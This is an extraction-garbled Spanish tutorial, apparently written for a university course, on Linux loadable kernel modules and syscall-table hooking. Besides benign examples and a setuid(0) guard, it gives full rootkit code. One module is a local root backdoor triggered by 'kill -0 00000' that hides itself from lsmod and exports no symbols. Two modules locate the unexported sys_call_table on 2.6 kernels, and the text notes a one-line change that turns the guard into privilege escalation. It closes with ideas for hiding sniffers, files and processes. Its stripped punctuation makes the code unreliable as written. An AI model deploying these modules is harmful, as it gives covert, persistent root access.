Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
